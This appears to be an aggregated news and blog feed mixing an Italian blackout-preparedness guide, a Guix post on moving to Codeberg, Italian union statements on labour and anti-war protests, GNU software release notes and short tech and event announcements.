La differenza tra vivere questa situazione con tranquillità oppure con ansia spesso dipende da pochi semplici accorgimenti preparati in anticipo. Avere una torcia facilmente raggiungibile evita di cercare una candela al buio. Una power bank mantenuta carica consente di utilizzare il telefono anche dopo diverse ore. Una piccola radio portatile permette di ricevere informazioni nel caso in cui le reti dati risultino congestionate o temporaneamente non disponibili. Sono oggetti di uso comune, economici e facilmente reperibili, ma che acquistano un valore enorme proprio quando vengono realmente utilizzati.
Anche il comportamento durante un blackout può fare la differenza. Una delle prime reazioni istintive è quella di aprire continuamente il frigorifero per controllare il cibo. In realtà ogni apertura disperde il freddo accumulato, riducendo il tempo di conservazione degli alimenti. Se lo sportello rimane chiuso, un frigorifero moderno riesce generalmente a mantenere una temperatura sicura per circa quattro ore, mentre un congelatore pieno può conservare gli alimenti anche per uno o due giorni.
Frigo e Congelatore – la prima preoccupazione
in caso di disservizio elettrico (blackout), il frigorifero è l’elettrodomestico che occupa il primo posto nei nostri pensieri. Per ovvie ragioni perderà relativamente velocemente la capacità di raffreddamento degli alimenti, così come quella di congelamento, la cosa sarà più celere nel momento in cui apriamo lo sportello. Ebbene c’è una alternativa di backup anche per questo. Il pozzetto congelatore ad apertura verticale lavora meglio. Il frigorifero ha lo sportello ad apertura frontale, per tanto l’aria fredda incamerata, essendo più pesante e posizionata sul fondo della camera, ad ogni apertura uscirà completamente facendo entrare aria più calda. Il pozzetto congelatore invece aprendosi verso l’alto mantiene più facilmente l’aria fredda incamerata, oltre a consumare meno corrente di un qualsiasi frigorifero.
Il dubbio spontaneo che sorge è: il pozzetto però congela! È possibile con qualche accorgimento intelligente adattarne l’uso come frigorifero.
Prima di tutto occorre procurarsi una presa termostata con sonda, quest’ultima andrà inserita all’interno del congelatore in modo da rilevare la temperatura.
La presa poi va collegata ad una power station in modo da alimentare il pozzetto in caso di blackout.
Impostare la temperatura della presa termostata sui 4°\6° che è orientativamente quella del frigorifero.
Collegare poi un pannello solare alla power station.
Come funziona il tutto? Il pozzetto comincerà a raffreddare, ma quando raggiungerà la temperatura impostata sulla presa, questa toglierà alimentazione fino a quando la temperatura del pozzetto non incomincia ad essere più alta di quella impostata
Le prime cose da fare
Quando manca la corrente:
mantenere la calma
verificare se il blackout riguarda solo casa propria
controllare il contatore
osservare se anche i vicini sono senza corrente
evitare di aprire continuamente frigorifero e congelatore
scollegare gli apparecchi elettronici più delicati
lasciare accesa una sola luce per capire quando ritorna l’energia
Vale la pena ricordare anche che non tutti i sistemi di pagamento continuano a funzionare durante un’interruzione prolungata. Alcuni negozi potrebbero non riuscire ad utilizzare i terminali POS, i distributori di carburante potrebbero essere fuori servizio e perfino la rete telefonica, se il blackout dovesse protrarsi a lungo, potrebbe iniziare a risentirne con il progressivo esaurimento delle batterie di backup installate presso le stazioni radio base.
Per questo motivo l’Associazione Italiana Prepper invita da sempre a sviluppare una cultura della resilienza domestica. Non significa riempire il garage di attrezzature costose o immaginare scenari apocalittici. Significa semplicemente essere in grado di affrontare serenamente le prime ventiquattro o quarantotto ore di un imprevisto, riducendo lo stress e aumentando la sicurezza della propria famiglia.
Prepararsi ad un blackout è probabilmente una delle forme di prevenzione più semplici, economiche e concrete che ogni cittadino possa mettere in pratica. Una torcia, una radio, una riserva d’acqua, qualche alimento pronto al consumo e una fonte di energia portatile rappresentano un investimento minimo rispetto alla tranquillità che possono offrire quando tutto, improvvisamente, si spegne.
Il kit anti-blackout
L’Associazione Italiana Prepper consiglia di predisporre un piccolo kit dedicato.
Illuminazione
torcia LED
lampada ricaricabile
batterie di ricambio
Energia
power bank
batterie ricaricabili
caricatore da auto
power station
Comunicazioni
radio AM/FM
radio PMR446
telefono sempre carico
Alimentazione
acqua potabile
alimenti che non richiedono cottura
Sicurezza
candele (solo se utilizzate con attenzione)
fiammiferi
accendino
Comfort
ventilatore USB
ghiaccio sintetico per frigorifero
coperta termica (utile sia in inverno che in estate)
In fondo è proprio questa la filosofia del prepping: non aspettare che si verifichi un’emergenza per iniziare a chiedersi cosa sarebbe stato utile avere. Prepararsi prima significa affrontare dopo qualsiasi imprevisto con maggiore lucidità, sicurezza e consapevolezza. Perché la resilienza non si improvvisa nel momento del bisogno: si costruisce un piccolo passo alla volta, molto prima che si spengano le luci.
Box AIP – La Checklist del Blackout
Puoi affrontare serenamente 24 ore senza corrente?
☐ Ho almeno due torce funzionanti.
☐ Ho batterie di ricambio.
☐ Ho una power bank sempre carica.
☐ Ho una power station sempre carica.
☐ Ho una radio a batterie.
☐ Ho acqua potabile per almeno tre giorni.
☐ Ho alimenti pronti al consumo.
☐ Tutta la famiglia sa dove si trova il kit di emergenza.
☐ So come aprire manualmente il cancello o il garage.
☐ Ho salvato sul telefono i numeri utili del distributore di energia.
Sabato 27 giugnopresso Teatrofficina Refugioore 21.30CANTA STORIEALESSIO LEGAIN CONCERTOcon ROCCO MARCHI dalle 20 cena evento a cura diFederazione Anarchica Livornese Una serata con Alessio Lega per cantare storie d’amore e di anarchia, storie che la storia ha voluto schiacciare e non ci è riuscita, storie di personaggi improbabili che non si sono mai arresi, storie […]
In questo video vi porto alla scoperta di tre interessanti dispositivi Seeed Studio dedicati alle comunicazioni LoRa off-grid. Analizzeremo il design, le caratteristiche tecniche, le funzionalità, la configurazione iniziale e le possibili applicazioni nel mondo delle comunicazioni senza rete cellulare.
Questi dispositivi sono ideali per escursioni, campeggio, radioamatori, attività outdoor e per chi desidera realizzare una rete mesh indipendente da Internet. I modelli Wio Tracker L1 Pro sono disponibili preinstallati sia con firmware Meshtastic sia con MeshCore, mentre il SenseCAP T1000-E è un tracker ultracompatto pensato per reti LoRa.
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L'8 aprile 2026 il geografo Francesco Visentin, docente all'Università di Udine, ha presentato il suo libro Geografie d'acqua: paesaggi ibridi (Marsilio, 2024) alla libreria Modo Infoshop di Bologna, in dialogo con Wu Ming 1 e con letture dell'attore Marco Manfredi. Incontro organizzato da Bologna for Climate Justice. L'irregimentazione dei fiumi come «colonizzazione della pioggia»; la desocializzazione dell'acqua; siccità e scarsità d'acqua non sono la stessa cosa; l'esondazione non è l'alluvione; i fiumi non sono linee blu; viviamo in un mondo di tubi, nel tubocene; camminare come forma di conoscenza; l'archivio e i luoghi; i concetti di wetness e solastalgia eccetera.
A year ago, Guix migrated to
Codeberg for
source code hosting, issue tracking, and pull requests. This is a
significant change for a project with more than 400 people contributing
code each year, after more than decade hosting code at
Savannah and dealing with bug
reports and patches by email, tracked by a Debbugs
instance. This article discusses the
process that led to this change and lists some takeaways, a year later.
The non-obvious choice
For years before, the question of our choice of source code hosting and
collaboration tools would regularly come up. However, with a community
effectively built around the existing tools and workflows, a change to a
pull-request workflow was far from obvious—even if many would admit that
yes, pull requests are more familiar to many younger hackers than
patches and bug reports by email.
Active contributors were efficient with the email workflow—often thanks
to Emacs and/or to
top-notch email clients—while at the same time being critical of
“modern” Web-based forges: after all, Debbugs weighs in at a few hundred
lines of Perl, building upon the battle-tested standards and built-in
federation of email, whereas a forge like Forgejo
is much bigger with hundreds of Go dependencies.
A further complication is that, over time, contributors had built tools
around this workflow: mumi would
provide a nice web interface to Debbugs
and the Quality Assurance service would
automatically apply patch series in a Git branch and build packages from
that branch—to give the most visible examples. Migrating was all but
obvious.
Despite these achievements, dissatisfaction was palpable though, even
more so when Steve George (a.k.a. Futurile) published the results of
the first user and contributor
survey
in January 2025, with feedback from no less than 900 people. For
contributors who took part in the survey, the email workflow was often
mentioned as a
hindrance.
Making decisions
As if things were not difficult enough, there was no “benevolent
dictator” that the project could rely on to make a sharp decision.
Instead, in December 2024, the project adopted a process for collective
decision-making: the Guix Consensus Document (GCD)
process. The
process is ambitious: instead of merely asking “project members” (a
concept that needs to be properly defined!) to vote on proposals,
authors of proposals are expected to work with everyone to build
consensus on the proposal; participants cannot merely “oppose” a
proposal but should instead express their needs and suggest concrete
changes to address them. At the end of the process, participants can
“support”, “accept”, or “disapprove” the final revision of the proposal.
It is too early to tell whether the GCD process will stand the test of
time—as of this writing seven proposals were submitted through this
process, with varying outcomes—but it
surely proved to be a good way to work collectively on the forge
migration issue, which was the first real-world use of the GCD process.
GCD 002 was
submitted in February 2025 as a proposal to migrate to Codeberg for
source code hosting and collaboration. The
discussion lasted for two
months—the maximum duration permitted by the process—with contributions
by many people. Two thirds of the Guix team members participated in the
deliberation, among which 72% expressed “support” while the remaining
28% merely “accepted” the proposal; nobody “disapproved” it so the
proposal came into force in early May 2025.
The discussion showed that many long-time contributors were not
comfortable with the idea of moving to a workflow largely perceived as
Web-first and inefficient compared to the email workflow. The idea of
abandoning part of the infrastructure carefully built around the email
workflow over the years was also unappealing. Yet, the prospect of
reaching out to a broader community and improving the developer
experience for many was probably a driving force that led to this
positive outcome.
One thing in the proposal that didn’t trigger much debate though is the
preference both for a free-software-based forge and for one hosted by a
non-profit, Codeberg e.V. This choice is
very much in line with the Guix ethos.
Switchover
As agreed-upon in the GCD, the switch to Codeberg was incremental: the
main repository was migrated on May 25th,
2025, with the
former repository still available as a mirror today; the former issue
and patch tracker was kept active until January 1st, 2026, when Codeberg
issues and pull requests became the only supported mechanisms (but older
bug reports and patches remain accessible
on-line).
Thanks to the planning devised during the consensus-building discussion,
there were few hiccups and surprises when we switched. The quality of
service achieved by the Codeberg e.V. employees and volunteers has been
very good and the occasional downtime was usually short and clearly
communicated.
For some of us, the main difficulty was to adapt to the new workflow.
For those who prefer a workflow out of the browser, the good news is
that Emacs interfaces—fj.el
and more recently
Emacs-Forgejo—have
been getting better everyday thanks to their amazing developers; the
ability to create pull requests using the AGit
workflow
has also helped bring peace and harmony.
The one issue that wasn’t sufficiently anticipated is continuous
integration for pull requests. The part of
qa.guix.gnu.org that would previously build
packages for patches sent by email was not ported to Codeberg. For
several months, it was up to reviewers to make sure that pull requests
would not break anything—a situation that was not sustainable.
In September 2025, an instance of
Cuirass was set up at
pulls.ci.guix.gnu.org to
finally build pull requests. This was initially seen as a
stopgap because of
several limitations compared to what qa.guix.gnu.org would previously
do—such as the fact that packages now get built for a single
architecture. However, one advantage for newcomers is that feedback is
immediately visible: Cuirass sends reports indicating success or failure
directly in pull requests as
guix-cuirass-bot.
Renewed collaboration
One of the intuitions and hope we had when we decided to migrate to
Codeberg is that the pull-request workflow and its Web interface would
allow us to reach out to a broader set of contributors. How did it go?
A first insight is that the commit rate—measured as the number of
commits pushed on the main branch—is a noisy metric that doesn’t reveal
much. What we see by looking at the period from May 2024 to May 2026
(so one year before and one year after the migration) essentially shows
that the commit rate remained essentially between “high” and “very
high”:
(As an aside, where are the tools to plot statistics like this from a
Git repository? I found myself hacking something
together.)
Looking at contributions is more insightful. The plot below shows the
number of monthly commit authors, the number of monthly committers, and
the number of new commit authors each month (people who authored a
commit for the first time in the Git history) for that same period.
The number of monthly authors, including new authors, keeps growing.
There was a peak both in the number of authors and number of newcomers
in June 2025, right after the migration to Codeberg, but for the rest
growth appears to be comparable in the 2025–2026 half and in the
2024–2025 half. Guix keeps attracting new contributors but there wasn’t
a significant “Codeberg effect”.
The slight increase in number of monthly committers compared to the
sharper increase in number of authors might suggest that committers are
more “productive”, handling more contributions.
Since the user survey highlighted some contributors were frustrated by
the delay or the lack of response on contributed patches—a problem that
many free software projects struggle with—a question is how well Guix
deals with that today. The graph below shows the creation and closing
rate of pull requests per month over the past year, together with the
monthly backlog (pull requests opened the month before or earlier and
still opened). This data was acquired using the amazing Forgejo
interface.
This again shows an impressive rate of incoming code—more than 500 pull
requests opened each month!—and an equally impressive, but slightly
lower, merge rate, leading to a constantly-increasing backlog. A
similar backlog was observed on
Debbugs before. Today,
there are about 639 opened pull requests out of 6,459 ever opened, or
10%; for comparison, Nixpkgs has 12k opened pull requests out of 473k
ever opened, or 2.5%. This
concerning backlog in Guix can perhaps be attributed to excessive
friction and/or insufficient continuous integration feedback.
One source of friction is the requirement for each commit to be signed
by an authorized
committer.
Unlike many other projects, including Nixpkgs, this requirement means
that a person needs to take responsibility and to apply and sign changes
they merge, as opposed to just clicking the “Merge” button. In a way,
we’re trading developer convenience for user
security. It’s a
tradeoff we’re willing to make because we care about securing the
“software supply chain”, but we have yet to see if this cost can be
mitigated in some way.
On the bright side, and although this is harder to measure, one positive
impact of the move to Codeberg is that activity within the project is
more legible. I already mentioned continuous integration that
provides feedback directly in pull requests, such that contributors
immediately discover it, but there’s more.
Guix teams
are reified as Codeberg teams and their scope is given the CODEOWNERS
file such
that the right people are pinged. A bot also adds a corresponding
label—e.g., the team-python label for what’s in the scope of the
Python team—allowing for issue and pull request filtering by label.
However, teams are not notified of issues tagged with the corresponding
label, which is
irritating.
Other features such as cross-references among issues/pull requests as
well as milestones also
appear to facilitate collaboration.
Outlook
This is nice and all but there’s still room for improvement.
Our infrastructure could use some help. Build power for
pulls.ci.guix.gnu.org should be increased, ideally with also more
diversity—building for non-x86 architectures would be great! Cuirass
itself has a number of shortcomings; some are being addressed for the
upcoming 1.4.x
series but there’s
more work to be done. And also, pulls.ci.guix.gnu.org remains very much
package-oriented; it would be nice, when appropriate, to run system
tests as well.
The packager workflow still leaves a bit to be desired, in particular
with regards to topic branches and world rebuild
scheduling,
which is still mostly tied to… our otherwise retired bug tracker.
Part of being a good citizen, for Guix and for Codeberg e.V., is
listening to and accounting for one another’s concern, and this has
worked beautifully so far. Guix
Foundation recently
voted to become
a supporting (non-voting) member of Codeberg e.V. as a way to express
gratitude and support.
Il 23 giugno si svolgerà un'altra asta di vendita dell'area verde di Via Goito, un importantissimo polmone verde di 6 ettari, vitale per la nostra città. Dopo tre infami tentativi di vendere gli orti all’asta, ci troviamo ancora ad assistere al misero tentativo di speculazione edilizia ai danni di uno degli ultimi polmoni verdi di via Goito, diventato nel corso degli anni simbolo di resistenza attiva contro ogni forma di cementificazione. L'amministrazione comunale avrebbe avuto la possibilità di cambiarne la destinazione d'uso, togliendo di fatto l'edificabilità, oppure acquistare il terreno. Ma preferisce non farlo, condannandolo all'ennesima speculazione edilizia che la nostra città sarà costretta a subire. Scendiamo in piazza uniti per esprimere il nostro dissenso: non un centimetro di cemento verrà colato.
Did your pip install fail with longintrepr.h: No such file or directory? The file likely is on your system, but it sometime or another it was moved, from /usr/include/python3.xx/longintrepr.hto /usr/include/python3.xx/cpython/longintrepr.h. The proper fix is to update the package in question with the new path, but if you’re installing an old version of something or a package that’s no longer maintained you can work around it like this:
USB proclama per mercoledì 24 giugno uno sciopero di 24 ore di tutti i lavoratori e le lavoratrici del polo siderurgico di Piombino, in concomitanza con l'incontro convocato presso la Regione Toscana.
A distanza di mesi dagli annunci e dagli impegni assunti, il quadro industriale continua a essere caratterizzato da incertezze, ritardi e mancanza di garanzie.
La firma dell'Accordo di Programma da parte di JSW non è ancora arrivata. Sul fronte Metinvest registriamo continui slittamenti rispetto al cronoprogramma presentato. Nel frattempo la guerra in Ucraina, elemento che incide direttamente sulle prospettive del progetto, è tutt'altro che conclusa e continua ad alimentare dubbi sulla reale sostenibilità degli investimenti annunciati.
Ancora più grave è l'assenza di qualsiasi concreta clausola di salvaguardia occupazionale capace di garantire il futuro dei lavoratori coinvolti nei processi di riconversione e rilancio del sito.
USB denuncia inoltre le crescenti difficoltà di convivenza industriale tra i due soggetti privati chiamati a operare nell'area siderurgica. Una situazione che rischia di trasformare Piombino nell'ennesimo laboratorio di promesse mancate, mentre il tempo passa e il prezzo continua a essere pagato esclusivamente dai lavoratori, dalle loro famiglie e dall'intero territorio.
Eppure il polo siderurgico di Piombino viene indicato dal Governo e dal Ministero delle Imprese e del Made in Italy come un sito strategico per l'interesse nazionale. Se davvero è così, non è più accettabile assistere all'ennesima sequenza di rinvii, incertezze e continui impieghi di risorse pubbliche senza risultati concreti sul piano industriale e occupazionale.
Per USB, dopo questi mesi di attese e promesse disattese, è necessario cambiare radicalmente approccio.
Il Governo deve esercitare i poteri della Gold Power e assumere un ruolo diretto nel futuro del polo siderurgico di Piombino, fino alla nazionalizzazione dell'asset strategico, garantendo investimenti, occupazione, tutela salariale e una reale prospettiva industriale per il territorio.
Non possiamo più permettere che il futuro di migliaia di lavoratori e di un settore strategico per il Paese resti ostaggio di interessi privati, ritardi e operazioni che finora hanno prodotto soltanto incertezza.
L'unico prezzo pagato fino ad oggi è stato quello imposto ai lavoratori e alle lavoratrici, costretti a vivere anni di ammortizzatori sociali, precarietà e mancanza di prospettive, mentre il territorio continua a subire gli effetti di una crisi che sembra non avere fine.
Mercoledì 24 giugno fermiamo il polo siderurgico di Piombino.
Per il lavoro, per l'industria, per il territorio.
La giornata del 18 giugno a Livorno si è aperta con una conferenza stampa e un presidio al Varco Valessini, promossi da USB e partecipati dalle realtà livornesi con cui da mesi condividiamo il percorso di mobilitazione a sostegno del popolo palestinese, insieme a realtà del territorio pisano, tra cui il Movimento No Base e il Coordinamento per il Boicottaggio di Israele.
Gli interventi che si sono susseguiti hanno espresso sostegno al passaggio nel nostro territorio delle imbarcazioni della Global Intifada e la Ghassan Kanafani di Freedom Flotilla Italia, impegnate in un viaggio lungo le coste italiane con l'obiettivo di contribuire alla rottura dell'assedio imposto a Gaza, denunciare la complicità dei governi europei con il governo israeliano e contrastare il traffico di armi dirette verso la Palestina. Le finalità di questa iniziativa sono pienamente coerenti con il percorso di lotta che le realtà presenti portano avanti nei rispettivi territori. Da tempo denunciamo e contrastiamo, con tutti gli strumenti a nostra disposizione, il transito di armamenti nei porti e l'utilizzo delle infrastrutture portuali per attività e finalità militari.
In questo quadro si inserisce anche la richiesta avanzata da Drass di ottenere una concessione su una banchina dell'area portuale di Livorno, sottraendo spazi all'uso civile del porto per destinarli ad attività legate al settore militare, nello specifico ai test di sommergibili destinati all'Indonesia. A ciò si aggiungono il traffico di armamenti e il ruolo di hub logistico militare svolto dal porto di Livorno nel collegamento, via mare e via terra, con la base statunitense di Camp Darby.
Il passaggio delle imbarcazioni ha rappresentato simbolicamente questi temi e queste lotte: l'attraversamento del porto nelle vicinanze delle aree interessate dalle richieste di Drass e il successivo percorso lungo il Canale dei Navicelli, che costeggia Camp Darby e lungo il quale transitano carichi militari diretti verso diversi luoghi di oppressione e conflitto, compresa la Palestina.
Oggi abbiamo scelto di muoverci lungo le rotte delle armi per ribadire il nostro dissenso verso il riarmo, la militarizzazione dei territori e la guerra, e per riaffermare il nostro sostegno al popolo palestinese. Una mobilitazione che continuerà e che sarà ancora più forte, qualora proseguano i processi di militarizzazione del porto e del territorio.
Verify the SHA256 checksum with either sha256sum, sha256, or
'shasum -a 256'.
Verify the SHA3-256 checksum with 'cksum -a sha3 -l 256 --base64'
from coreutils-9.8.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify CSSC-1.5.0-rc3.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools:
Autoconf 2.72
Automake 1.17
Gnulib 2026-06-08 88592a2880cf39a2f597cd0294a90d8dd7faa2df
NEWS
Noteworthy changes in release 1.5.0-rc3 (2026-06-14)
* Some typos in error message have been fixed.
* admin now supports combination of -r with -n as well as the
portable combination of -r with -i.
* Support "sccs sact"; the sact program already existed but
could not previously be invoked via the sccs wrapper.
Thanks to Greg A. Woods for this improvement.
* In some places we now prefer "grep -E" to "egrep" in order
to avoid a warning message from GNU grep. Some very old
versions of Unix may not support this option.
* Various C++ portability improvements.
Updated version of gnulib.
Updated version of googletest; this is now at the last
version at which it still supported building with Automake.
Sebbene il numero di casi d’uso nel nostro Paese sia ancora molto basso, le previsioni di tutti gli esperti dicono che gli agenti AI diventeranno i veri “operatori” dell’automazione dei processi in azienda. Il problema è che chi dovrà gestirne la sicurezza non ha ancora l’esperienza necessaria per farsi un quadro chiaro di come questi […]
La Radioddity HF-010 è una nuova antenna HF portatile multibanda che promette copertura dagli 80 ai 6 metri, montaggio rapido e ottime prestazioni in portatile. Copre da 3,5 MHz a 50 MHz e supporta fino a 100W CW e 150W PEP SSB.
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Iniziativa culturale "Articolo 11 – L'Italia ripudia la guerra", in programma il prossimo 18 giugno alle ore 19:30 presso il Teatro Officina Refugio, nel quartiere Venezia di Livorno.
L'evento prevede la proiezione del documentario realizzato da Simona Tarzia e Fabio Palli, che affronta il tema dei conflitti contemporanei attraverso l'analisi dei flussi commerciali globali, della logistica portuale e delle dinamiche economiche che accompagnano e sostengono gli scenari di guerra.
La serata sarà arricchita da un momento di confronto con la partecipazione di: Fabio Palli e Simona Tarzia, autori del documentario; José Nivoi, CALP Genova e Coordinamento Nazionale Porti USB; Alessio Biondi, Coordinamento Nazionale Porti USB; Mario Spallino, fondatore Teatro Emergency.
Giovedì 18 giugno 2026 – ore 19:30 Teatro Officina Refugio Scali del Refugio, Quartiere Venezia – Livorno
Proiezione del documentario "Articolo 11 – L'talia ripudia la guerra" A seguire dibattito con gli autori.
La prossima edizione del Workshop GARR - Net Makers si tiene dal 3 al 5 novembre 2026 presso l’Università Roma Tre, all'Aula Magna di Lettere Filosofia Lingue.
È stato pubblicato il Compendium GÉANT 2025, il report annuale che raccoglie dati, analisi e approfondimenti sulle reti nazionali per la ricerca e l’istruzione (NREN) in Europa.
Researchers and manufacturers rely on the library to identify unknown compounds in food, drugs, cosmetics, the environment, body fluids, forensic evidence and even space rocks.
The proof extends to AI the logic used by famed mathematician Kurt Gödel, whose incompleteness theorems have had a profound effect on math for nearly a century.
In questo video provo il nuovo ThinkNode M4, un dispositivo davvero particolare che combina un nodo Meshtastic, GPS integrato e un power bank da 7000 mAh.
L'idea è semplice: avere sempre con sé un nodo Meshtastic pronto all'uso e contemporaneamente una batteria di emergenza per smartphone e altri dispositivi.
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🔹 GPS multi-costellazione
🔹 Batteria da 7000 mAh
🔹 Ricarica wireless magnetica
🔹 Bluetooth 5.4
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🔹 Chip Nordic nRF52840 + Semtech LR1110
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La Polizia Municipale avvia le indagini per risalire all’autore dello scempio prefigurandosi un reato di natura penale
Non potevano certamente passare inosservati agli operatori di AAMPS/Retiambiente due “big bag” in polietilene di grosse dimensioni contenenti materiale di risulta da lavorazioni edili abbandonati nelle ore notturne accanto ad un cassonetto stradale per la raccolta dei rifiuti in località Le Vaschette sul Romito a ridosso della scogliera.
Sul posto sono prontamente intervenuti gli Ispettori Ambientali che, prima di nastrare il materiale rinvenuto per impedirne il contatto con i passanti, hanno constatato che in buona parte si tratta di eternit e, quindi, di un rifiuto speciale-pericoloso.
.
L’abbandono è stato segnalato alla Polizia Municipale che ha avviato le indagini per risalire all’autore prefigurandosi un reato di natura penale ai sensi del D.L. n. 105 del 2023. Il materiale verrà poi rimosso da una ditta specializzata nel trattamento di tale tipologia di rifiuti allertata da AAMPS/Retiambiente.
.
Per le segnalazioni a contrasto del degrado urbano: segnalali@comune.livorno.it
Per le segnalazioni sugli abbandoni dei rifiuti: centraleoperativapm@comune.livorno.it; ispettori@aamps.livorno.it, info@aamps.livorno.it; numero verde 800-031.266, pagine facebook/instagram “Aamps Livorno”.
Dal 8 al 12 giugno 2026, Helsinki ospita TNC26, la principale conferenza internazionale dedicata al networking per la ricerca e l'istruzione, organizzata da GÉANT in collaborazione con CSC, il centro nazionale finlandese per le infrastrutture IT scientifiche che gestisce Funet, la rete della ricerca finlandese.
Da mesi gli operai della Solvay degli stabilimenti di Livorno e Rosignano sono alle prese con gravi problematiche per quanto riguarda la retribuzione e gli stipendi. L';azienda, dopo aver deciso di cambiare gestionale per l'elaborazione dei cedolini, ha iniziato ad pagare le retribuzioni con vistosi ammanchi di denaro. In alcune occasioni agli operai sono state corrisposte cifre più alte per poi essere sottratte nuovamente, il mese successivo, senza alcuna spiegazione tecnica e senza giustificativi precisi. Dopo il primo mese la situazione poteva e doveva essere risolta mentre invece i disagi si stanno protraendo ormai da troppo tempo.
Per questo motivo nella giornata odierna era stata indetta un'assemblea sindacale dalla RSU Solvay. Assemblea che è stata poi negata dalla dirigenza aziendale. I Lavoratori si sono presentati comunque davanti alla sede di confindustria, una delegazione fuori dall'orario di lavoro, in segno di protesta. Anche l'associazione di categoria ha deciso di sbarrare il portone. Questo è l'tteggiamento che i padroni hanno deciso di tenere di fronte ad una legittima mobilitazione e di fronte a problematiche che hanno come unico responsabile l'azienda e non certo i lavoratori.
Serve chiarezza rispetto al pagamento degli stipendi. Una multinazionale, come la solvay, non è in grado di risolovere una situazione come questa? Grazie alle proteste, in entrambi gli stabilimenti, la RSU è stata convocata per il 9 giugno. USB farà la sua parte affinchè si arrivi ad una soluzione che veda salvaguardati gli interessi dei lavoratori.
GNUtrition 0.33 is now released. This marks the first release of GNUtrition since 2012, approximately 14 years ago!
GNUtrition is free nutrition analysis software. The USDA Food and Nutrient Database for Dietary Studies (FNDDS) is used as the source of food nutrient information.
This release is a complete rewrite of GNUtrition in C rather than Python 2 with a new GTK 3 interface replacing the old GTK 2 one. The Nutrient Database of Standard Reference, which stopped getting updated in 2018, was replaced with the USDA Food and Nutrition Database for Dietary Studies. With help from some test volunteers, the build and installation process was better streamlined to resolve critical issues and difficulties so that GNUtrition can be a better program overall.
Considering the time between releases, GNUtrition currently is not available on OS package repositories (as far as I am aware). If you package software for your operating system's package manager, it would be very helpful if you could start packaging GNUtrition so that it may be even more easily used by people on said systems. If you don't, you may still request to those who do to start including GNUtrition.
Thank you to everyone who tested/used GNUtrition 0.33's release candidates and provided meaningful feedback on its functionality, design, and so on. I would also like to especially thank Jason Self for providing us with the C rewrite in the first place.
More information about GNUtrition may be found on its home page at http://gnu.org/so ... tware/gnutrition/. This release can be obtained from the ftp.gnu.org server at one of the following:
A NIST-led team has created a new AI model that can identify safe evacuation routes in a single-story floor plan during a fire, with a multilevel version in the works.
NIST also improved how X-rays are used to study the atomic structure of metals in real time during 3D printing, allowing researchers to observe how materials change under extreme conditions.
USB esprime piena solidarietà alle decine di attivisti, studenti, lavoratrici e lavoratori raggiunti da denunce in relazione alle mobilitazioni che negli ultimi anni hanno attraversato Pisa contro la guerra, il riarmo e in sostegno del popolo palestinese. Le oltre 60 denunce rappresentano un fatto grave che si inserisce in un contesto nazionale caratterizzato da un progressivo irrigidimento delle politiche di ordine pubblico e da una crescente limitazione degli spazi di agibilità democratica e di conflitto sociale. A Pisa, città che è stata protagonista di importanti mobilitazioni contro la guerra e il genocidio del popolo palestinese, l'accanimento repressivo colpisce proprio coloro che hanno animato quelle piazze, dalle iniziative nelle università alle manifestazioni cittadine, fino ai grandi cortei che hanno accompagnato gli scioperi generali promossi da USB il 22 settembre e il 3 ottobre. E’ stato un autunno incredibile, milioni di persone in piazza in tutta Italia ma ci sono voluti due anni di genocidio in diretta perché questo avvenisse. Attorno agli scioperi generali indetti da USB e dal sindacalismo conflittuale si è sviluppato un movimento di massa che ha unito lavoratori, studenti, precari e realtà sociali sotto la parola d'ordine chiara: "Blocchiamo tutto". Migliaia di persone sono scese in piazza per denunciare il genocidio del popolo palestinese, opporsi alle politiche di guerra, al riarmo e alla complicità del governo italiano con l'escalation militare israeliana. Quelle giornate hanno rappresentato un momento alto di partecipazione popolare e di ricomposizione sociale, dimostrando che esiste nel Paese una larga opposizione alle logiche della guerra e dell'economia di guerra. È proprio quella forza espressa nelle piazze a essere oggi oggetto di un tentativo di intimidazione. Dietro questa operazione non vediamo soltanto la volontà di perseguire singoli episodi, ma un disegno più ampio volto a colpire chi organizza conflitto sociale, solidarietà internazionale e opposizione alle politiche governative. In una fase segnata dall'aumento delle spese militari, dal peggioramento delle condizioni di vita e di lavoro e dall'inasprirsi dei conflitti internazionali, la risposta delle istituzioni sembra essere sempre più quella della repressione. Le immagini delle cariche contro gli studenti che manifestavano pacificamente per chiedere la fine del massacro del popolo palestinese restano impresse nella memoria della nostra città. Oggi, a quelle violenze, si aggiunge una nuova offensiva che passa attraverso denunce e procedimenti giudiziari rivolti a chi ha esercitato il diritto di manifestare. USB ribadisce che la solidarietà al popolo palestinese, il rifiuto della guerra e delle politiche di riarmo, la difesa dei diritti sociali e democratici non possono essere criminalizzati. Le mobilitazioni che hanno attraversato Pisa e il Paese in questi anni hanno rappresentato una risposta concreta alla normalizzazione della guerra e all'indifferenza verso il dramma vissuto dal popolo palestinese. Sono state piazze partecipate, popolari e determinate, che hanno rimesso al centro il valore dell'internazionalismo e della solidarietà tra i popoli, che hanno visto dopo tanti anni migliaia di lavoratrici e lavoratori aderire a uno sciopero politico e scendere in piazza. Per questo riteniamo fondamentale costruire la più ampia solidarietà nei confronti delle persone colpite dalle denunce, sostenendole sul piano politico e legale. Nelle prossime settimane promuoveremo momenti pubblici di confronto e iniziative di sostegno, coinvolgendo avvocati, associazioni, realtà sociali e sindacali, con l'obiettivo di contrastare l'ondata repressiva e difendere gli spazi di partecipazione democratica. Di fronte a questo tentativo di intimidazione, la risposta deve essere collettiva. Le decine di migliaia di persone che hanno riempito le piazze dell'autunno contro il genocidio del popolo palestinese e contro la guerra dimostrano che non si può reprimere un movimento che affonda le proprie radici nella giustizia sociale, nella pace e nella solidarietà internazionale. In quelle piazze c'eravamo tutti. E continueremo ad esserci.
